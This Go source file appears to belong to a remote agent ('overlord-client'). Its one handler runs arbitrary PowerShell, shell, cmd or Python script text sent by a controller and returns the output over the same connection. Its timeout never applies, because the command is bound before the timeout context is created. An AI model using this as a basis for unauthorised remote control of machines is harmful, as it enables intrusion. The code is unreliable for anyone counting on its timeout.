95 lines
2.5 KiB
Go
95 lines
2.5 KiB
Go
|
package handlers
|
||
|
|
|
||
|
|
import (
|
||
|
|
"context"
|
||
|
|
"log"
|
||
|
|
"os/exec"
|
||
|
|
"runtime"
|
||
|
|
"strings"
|
||
|
|
"time"
|
||
|
|
|
||
|
|
agentRuntime "overlord-client/cmd/agent/runtime"
|
||
|
|
"overlord-client/cmd/agent/wire"
|
||
|
|
)
|
||
|
|
|
||
|
|
func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) error {
|
||
|
|
log.Printf("script: executing %s script (length: %d bytes)", scriptType, len(scriptContent))
|
||
|
|
|
||
|
|
var cmd *exec.Cmd
|
||
|
|
switch scriptType {
|
||
|
|
case "powershell":
|
||
|
|
if runtime.GOOS == "windows" {
|
||
|
|
cmd = exec.CommandContext(ctx, "powershell.exe", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
|
||
|
|
} else {
|
||
|
|
|
||
|
|
cmd = exec.CommandContext(ctx, "pwsh", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
|
||
|
|
}
|
||
|
|
case "bash":
|
||
|
|
if runtime.GOOS == "windows" {
|
||
|
|
|
||
|
|
cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent)
|
||
|
|
} else {
|
||
|
|
cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent)
|
||
|
|
}
|
||
|
|
case "sh":
|
||
|
|
cmd = exec.CommandContext(ctx, "sh", "-c", scriptContent)
|
||
|
|
case "cmd":
|
||
|
|
if runtime.GOOS == "windows" {
|
||
|
|
cmd = exec.CommandContext(ctx, "cmd.exe", "/c", scriptContent)
|
||
|
|
} else {
|
||
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||
|
|
Type: "command_result",
|
||
|
|
CommandID: cmdID,
|
||
|
|
OK: false,
|
||
|
|
Message: "cmd.exe not available on non-Windows systems",
|
||
|
|
})
|
||
|
|
}
|
||
|
|
case "python":
|
||
|
|
cmd = exec.CommandContext(ctx, "python", "-c", scriptContent)
|
||
|
|
case "python3":
|
||
|
|
cmd = exec.CommandContext(ctx, "python3", "-c", scriptContent)
|
||
|
|
default:
|
||
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||
|
|
Type: "command_result",
|
||
|
|
CommandID: cmdID,
|
||
|
|
OK: false,
|
||
|
|
Message: "unsupported script type: " + scriptType,
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
timeout := 5 * time.Minute
|
||
|
|
ctx, cancel := context.WithTimeout(ctx, timeout)
|
||
|
|
defer cancel()
|
||
|
|
|
||
|
|
output, err := cmd.CombinedOutput()
|
||
|
|
|
||
|
|
if err != nil {
|
||
|
|
|
||
|
|
if ctx.Err() == context.DeadlineExceeded {
|
||
|
|
return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
|
||
|
|
Type: "script_result",
|
||
|
|
CommandID: cmdID,
|
||
|
|
OK: false,
|
||
|
|
Output: string(output),
|
||
|
|
Error: "Script execution timed out after " + timeout.String(),
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
|
||
|
|
Type: "script_result",
|
||
|
|
CommandID: cmdID,
|
||
|
|
OK: false,
|
||
|
|
Output: string(output),
|
||
|
|
Error: err.Error(),
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
log.Printf("script: execution completed successfully (%d bytes output)", len(output))
|
||
|
|
return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
|
||
|
|
Type: "script_result",
|
||
|
|
CommandID: cmdID,
|
||
|
|
OK: true,
|
||
|
|
Output: strings.TrimSpace(string(output)),
|
||
|
|
})
|
||
|
|
}
|